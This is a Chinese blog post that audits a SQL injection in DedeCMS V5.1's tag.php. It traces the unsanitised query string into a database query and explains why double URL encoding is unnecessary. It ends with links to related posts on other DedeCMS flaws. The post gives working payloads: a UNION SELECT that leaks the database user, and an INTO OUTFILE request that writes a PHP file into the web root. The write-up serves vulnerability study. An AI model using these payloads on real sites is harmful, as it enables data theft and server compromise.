DEDECMS V5.1 审计学习

阅读书籍:《黑客脚本全本》、第240页、关于dedecms v5.1 tag.php 注入漏洞复现问题。

书中作者这个漏洞复现有些不正确、

#0x01 

文件/tag.php

if(isset($_SERVER["QUERY_STRING"])){
	$tag = trim($_SERVER["QUERY_STRING"]);  //query_string (查询字符串),如果有的话,通过进行页面访问。
	$tags = explode(‘/‘,$tag);          // 通过‘/‘来分隔数据成数组
	$tag = $tags[1];                //输出$tags数组第1个等于$tag
	if(count($tags)>3) $PageNo = intval($tags[2]);
}else{
	$tag = "";
}
$tag = urldecode($tag);              //$tag 进行一次url解码。
//如果没有Tag或Tag不合法,显示所有Tag
if($tag=="" || $tag!=addslashes($tag) ){
	$dlist = new TagList($tag,‘tag.htm‘);
}
//如果有Tag,显示文档列表
else{
	$dlist = new TagList($tag,‘taglist.htm‘);
}

$dlist->Display();

跟进TagList函数:

function TagList($keyword,$templet){
$this->__construct($keyword,$templet);
}  

跟进__construct 构造函数:

	function __construct($keyword,$templet)
 	{
 		$this->Templet = $templet;
 		$this->Tag = $keyword;
 		$this->dsql = new DedeSql(false);
 		$this->dtp = new DedeTagParse();
 		$this->dtp->SetNameSpace("dede","{","}");
 		$this->dtp2 = new DedeTagParse();
 		$this->dtp2->SetNameSpace("field","[","]");
 		$this->TypeLink = new TypeLink(0);
 		$this->Fields[‘tag‘] = $keyword;
 		$this->Fields[‘position‘] = " ".$keyword;
 		$this->Fields[‘title‘] = " 标签:{$keyword} ";
 		$this->TempletsFile = ‘‘;
 		//设置一些全局参数的值
 		foreach($GLOBALS[‘PubFields‘] as $k=>$v) $this->Fields[$k] = $v;
 		$this->PartView = new PartView(0);

 		//读取Tag信息
 		if($this->Tag!=‘‘)
 	  {
 		   $this->TagInfos = $this->dsql->GetOne("Select * From `#@__tag_index` where tagname like ‘{$this->Tag}‘ ");
 		   if(!is_array($this->TagInfos))
 		   {
 			    $fullsearch = $GLOBALS[‘cfg_phpurl‘]."/search.php?keyword=".$this->Tag."&searchtype=titlekeyword";
 			    $msg = "系统无此标签,可能已经移除!<br /><br />你还可以尝试通过搜索程序去搜索这个关键字:<a href=‘$fullsearch‘>前往搜索>></a>";
 			    ShowMsgWin($msg,"<a href=‘tag.php‘>Tag标签</a> >> 错误提示");
 			    $this->dsql->Close();
 			    exit();
 		   }
 		   $this->TagID = $this->TagInfos[‘id‘];
 		}

 		//初始化模板
 		$tempfile = $GLOBALS[‘cfg_basedir‘].$GLOBALS[‘cfg_templets_dir‘]."/".$GLOBALS[‘cfg_df_style‘].‘/‘.$this->Templet;
 		if(!file_exists($tempfile)||!is_file($tempfile)){
 			  echo "模板文件:‘".$tempfile."‘ 不存在,无法解析文档!";
 			  exit();
 	  }
 	  $this->dtp->LoadTemplate($tempfile);
 	  $this->TempletsFile = ereg_replace("^".$GLOBALS[‘cfg_basedir‘],‘‘,$tempfile);

  }

$tag过程:

$tag -> $keyword -> GetOne("Select * From `#@__tag_index` where tagname like ‘{$this->Tag}‘ ") 

经过一次urldecode解码以后直接带入数据库查询。

#0x02

书中提示思路、url二次编码绕过GPC限制,根据本地验证:

    $tag = trim($_SERVER[‘QUERY_STRING‘]);
    //$tag = trim($_GET[‘tag‘]);
    echo $tag . ‘<br />‘;
    $tags = explode(‘/‘, $tag);
    //var_dump($tags);
    $tag = $tags[‘1‘];
    echo $tag . ‘<br />‘;
    echo urldecode($tag);

书中给出的方法使用多个环境复现都是如此、不知是个人环境和配置问题还是:

url二次转义%27 带入数据库中直接被‘‘闭合在其中未正常的注入。

根据前辈们的其他相关信息获得如下解释:

$_SERVER 不受到GPC影响,所以无需利用二次编码。

直接单引号->浏览器自动会做一次url转码->然后再通过程序自带的urldecode解码。

#0x03

构造payload:

tag.php?tag=1/TommieTommie‘ union select 1,user(),3,4,5,6,7,8,9 from mysql.user %23/1/1

备份写shell:

tag.php?tag=1/1waaa2‘ union select 1,2,0x3C003F00700068007000200070006800700069006E0066006F00280029003B003F003E00,4,5,6,7,8,9 into outfile ‘C:%2FphpStudy%2FWWW%2Fdedecmsv51-utf8%2Fupload%2F1.php‘ %23/1/1

  

原文地址:https://www.cnblogs.com/xsr7yer/p/9334658.html

时间: 2024-08-01 09:46:55

DEDECMS V5.1 审计学习的相关文章

Dedecms v5.7 CKEditor编辑器回车将&lt;br&gt;和&lt;div&gt;改了&lt;p&gt;的解决方法

Dedecms v5.7  SP1的Ckeditor编辑器有些改动,默认为回车键换行.Shift+Enter换段落,但各位站长朋友都习惯了直接敲回车换段落,查看后发现它的配置文件里是可以修改解决的,其实你可以把下面的代码注释掉就可以采用另外一种模式了(enter换段落): 1.找到:安装目录\include\ckeditor\config.js中下面代码: config.autoParagraph = false; config.enterMode = CKEDITOR.ENTER_BR; co

Dedecms v5.7包含上传漏洞利用

Title:Dedecms v5.7包含上传漏洞利用 --2012-09-21 10:16 注册,登录,免邮箱验证. up.htm --------------------------------------------------------------------------------------------------------- <form action="http://www.xx.com/plus/carbuyaction.php?dopost=memclickout&am

CVE-2018-20129:DedeCMS V5.7 SP2前台文件上传漏洞

一.漏洞摘要 漏洞名称: DedeCMS V5.7 SP2前台文件上传漏洞上报日期: 2018-12-11漏洞发现者: 陈灿华产品首页: http://www.dedecms.com/软件链接: http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz版本: DedeCMS V5.7 SP2正式版CVE编号: CVE-2018-20129 二.漏洞概述 下载最新版本的dedecms源码,在本地安装完成后,

DedeCMS V5.7 SP2前台文件上传漏洞(CVE-2018-20129)

一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上传漏洞,远程攻击者可以利用该漏洞上传并执行任意PHP代码. 该漏洞利用条件:1.需要开发会员注册功能 2.权限必须是管理员,普通用户无法写入文件 二.漏洞环境搭建 1.官方下载DeDeCMS V5.7 SP2(UTF-8),下载地址: http://www.dedecms.co

织梦CMS去广告方法 for DedeCMS V5.7

DedeCms 5.7新版发布,下来上传至服务器安装完毕,点击进入后台登陆界面,怎么多了广告链,而且登陆界面也变了,以前可不带这样的啊.按步骤一步一步来去版权再去广告吧. 一,去处后台登陆页login.php广告链. 1,查看html源文件,找到广告部分代码如下: < div class ="dede-iframe" > < iframe name ="loginad" src ="login.php?dopost=showad"

dedecms(&lt;V5.7sp1) /install/index.php RFI

先来dedecms 5.6的测试 该poc利用有个限制,需要网站没有删除install文件夹及下面的文件. 同时,需要有一台自己能控制的服务器,用于远程文件包含,当然,如果能在目标站点的根目录下创建dedecms文件夹,并在其中创建demodata.a.txt文件,写入代码,也是可以的. 我的poc就是基于如此利用的: 这里也提供一个站点:http://www.mrjking.com/ 但不知道有没有后门,请慎用. 核心代码: 本来他是index.php.bak文件的,但是并不是所有的insta

Dedecms V5.7后台的两处getshell

在这个帖子里我把两个洞一起写出来. 第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell.漏洞代码在:/dede/sys_verifies.php 代码如下: else if ($action == 'getfiles') { if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles = DEDE

Dedecms V5.7 关于session

在dedecmsv5.7里面使用session的话要注意开启方式!和PHP源码里的使用方式不一样!!! 开启session,前面必须要@ @session_start(); 启动session,前面必须要@,否则在dedecms里面不识别, 这里和php源码里面也不一样的是,php源码是将该句放在最前面,因为不允许前面又代码执行, 但是在dedecms里面,如果将该句放在页面最前面的话,在有验证码验证的地方,会出现验证码报错, 所以在dedcms里面,什么地方用session存储就在什么什么地方

php审计学习:xdcms2.0.8注入

注入点Fields: 注册页面会引用如下方法: $fields 变量是从 $fields=$_POST['fields']; 这里获取, 在代码里没有过滤. 打印 fields 数据查看: 从代码上看 $field_sql.=",`{$k}`='{$f_value}'"; 最终会变成: ,`truename`='111111',`email`='12345' 因为 $field_sql 最终会引入 一个 update语句: 可以打印一下看看: 最后在 truename或email位置报